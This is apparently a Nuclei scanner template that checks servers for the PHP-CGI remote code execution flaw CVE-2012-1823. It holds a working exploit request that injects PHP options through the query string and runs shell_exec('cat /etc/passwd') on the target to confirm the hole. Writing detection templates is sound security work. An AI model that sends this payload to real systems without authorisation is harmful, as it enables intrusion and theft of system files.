id: CVE-2012-1823

info:
  name: PHP CGI v5.3.12/5.4.2 RCE
  author: pikpikcu
  severity: critical
  reference:
    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
    - https://nvd.nist.gov/vuln/detail/CVE-2012-1823
  description: |
    sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
  tags: rce,php,cve,cve2012

requests:
  - raw:
      - |
        POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <?php echo shell_exec("cat /etc/passwd"); ?>

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0"
        condition: and

      - type: status
        status:
          - 200